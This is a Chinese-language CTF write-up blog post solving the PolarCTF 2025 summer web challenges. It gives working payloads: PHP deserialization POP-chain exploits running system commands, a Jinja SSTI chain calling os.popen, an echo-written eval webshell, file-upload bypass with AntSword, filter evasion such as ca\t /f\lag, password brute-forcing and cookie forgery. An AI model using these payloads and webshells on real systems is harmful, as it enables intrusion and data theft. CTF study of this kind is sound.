PolarCTF夏季个人挑战赛2025(web)

渗透之王

image-20250607210147714

访问admin.php

image-20250607210217090

解密

image-20250607210306532

访问/www.zip

获得一个加密的压缩包,密码就是解码的内容

image-20250607210517082

获得字典,爆破

猜测用户名为admin

image-20250607210602464

爆破出密码admin789

image-20250607210705277

明显存在文件包含,但是什么文件都读不了

image-20250607210938953

提示有文件上传,访问upload.php

存在文件上传,且在前端有检测,传一个jpg文件,抓包后修改为php,发包,使用蚁剑连接

获得flag

image-20250607211121824

狗黑子的变量

 <?php
error_reporting(0);
highlight_file(__FILE__);

$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');


$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
   die("heizi");
}

system($gou);
?>

过滤了取反异或自增的方法,还过滤了一堆字母,留下了apht

使用dirsearch扫描,发现admin.php

image-20250608161234448

利用path拼接

ls—l是第6位

${PATH:5:1}${PATH:2:1}

image-20250608161509995

拼接cat,访问获得falg

image-20250608161634208

easyRead

poc

<?php
class Read {
   public $source;
   public $is;
}

class Help {
   public $source;
   public $str;
}

class Polar {
   private $var;
   public function getit($value){}
   public function __invoke(){}
}

class Doit {
   public $is;
   private $source;
   public function __construct(){}
}

$polar = new Polar();
$reflection = new ReflectionClass($polar);
$property = $reflection->getProperty('var');
$property->setAccessible(true);
$property->setValue($polar, "system('env');");

$doit = new Doit();
$doit->is = $polar;
$help = new Help();
$help->str = $doit;

$read2 = new Read();
$read2->is = $help;

$read1 = new Read();
$read1->source = $read2;


echo urlencode(serialize($read1));
?>

命运石之门

image-20250608142517407

查看源码,解码获得提示:有时候验证码并不好使。于是使用万能验证码0000

dirsearch扫出一个password.txt

image-20250608142949482

一个密码典

抓包爆破

image-20250608143232296

爆破出密码,hunangleiSAMA0712

image-20250608143310403

继续抓包爆破

image-20250608143607083

密码:huan9le1Sam0

然后输入密码,选择对应图片即可获得flag

image-20250608143716824

rce命令执行系统

image-20250608143806088

可以执行命令,但基本都ban了

dirsearch扫描,发现一个flag.txt

访问

image-20250608144324675

猜测是把php换成txt,1换成l,于是访问f1ag.php

image-20250608144427024

提示一个参数XOR_KEY,并且提示靶场叫什么

回到开始的界面

XOR_KEY=Polar

image-20250608144720745

简单的链子

poc

 <?php
class A {
   public $cmd="cat /flag";
   function __destruct() {
       if (isset($this->cmd)) {
           system($this->cmd);
      }
  }
}

$a = new A();
echo serialize($a);
image-20250608145003445

ghost_render

根据名字就能看出和ssti有关

image-20250608145105501

一个文件上传界面,感觉会渲染上传文件的内容

传一个md文件,内容为{{7*7}}

就是ssti,构造链子

{{config.**class**.**init**.**globals**['os'].popen('ls /').read()}}

image-20250608145536926

没看到flag,后面在var目录发现flag

image-20250608145623529

cat查询,获得flag

image-20250608145705264

狗黑子的隐藏

image-20250608150002592

发现一个cmd参数,可以执行命令,但过滤了很多东西

用echo写一个马重定向到1.php

echo "<?php @eval($_POST['a']);?>" >1.php

然后连蚁剑拿flag

真假ECR

 <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

if (!isset($_GET['cmd'])) {  
   echo("审题啊!.");  
}  
$cmd=$_GET['cmd'];

   if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
  {
       echo("想要什么直接访问试试呢");
       exit;
  }
    system($cmd);
?>

过滤了一些东西,但没过滤\,直接读flag

ca\t /f\lag

image-20250608152525988

nukaka_ser2

 <?php

class FlagReader {
   private $logfile = "/tmp/log.txt";
   protected $content = "<?php system(\$_GET['cmd']); ?>";

   public function __toString() {

       if (file_exists('/flag')) {
           return file_get_contents('/flag');
      } else {
           return "Flag file not found!";
      }
  }
}

class DataValidator {
   public static function check($input) {
       $filtered = preg_replace('/[^\w]/', '', $input);
       return strlen($filtered) > 10 ? true : false;
  }

   public function __invoke($data) {
       return self::check($data);
  }
}

class FakeDanger {
   private $buffer;
   
   public function __construct($data) {
       $this->buffer = base64_encode($data);
  }

   public function __wakeup() {
       if (rand(0, 100) > 50) {
           $this->buffer = str_rot13($this->buffer);
      }
  }
}

class VulnerableClass {
   public $logger;
   private $debugMode = false;

   public function __destruct() {
       if ($this->debugMode) {
           echo $this->logger;
      } else {
           $this->cleanup();
      }
  }

   private function cleanup() {
       if ($this->logger instanceof DataValidator) {
           $this->logger = null;
      }
  }
}


function sanitize_input($data) {
   $data = trim($data);
   return htmlspecialchars($data, ENT_QUOTES);
}

if(isset($_GET['data'])) {
   $raw = base64_decode($_GET['data']);
   if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
       unserialize($raw);
  }
} else {
   highlight_file(__FILE__);
}
?>

poc

<?php

class FlagReader {
   private $logfile = "/tmp/log.txt";
   protected $content = "<?php system(\$_GET['cmd']); ?>";
}

class VulnerableClass {
   public $logger;
   private $debugMode = false;
}

$flag = new FlagReader();
$vuln = new VulnerableClass();

$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);

$vuln->logger = $flag;

echo base64_encode(serialize($vuln));
image-20250608153822236

你也玩铲吗

点击不玩,随便注册一个,登录

提示

image-20250608154128872

查看源码

image-20250608154144641

将user:admin编码

dXNlcjphZG1pbg==

dirsearch扫描发现/login_admin.html,还有/admin_login.php

在login_admin.html伪造一个cookie

auth=dXNlcjphZG1pbg==

访问/admin_login.php,即可获得flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇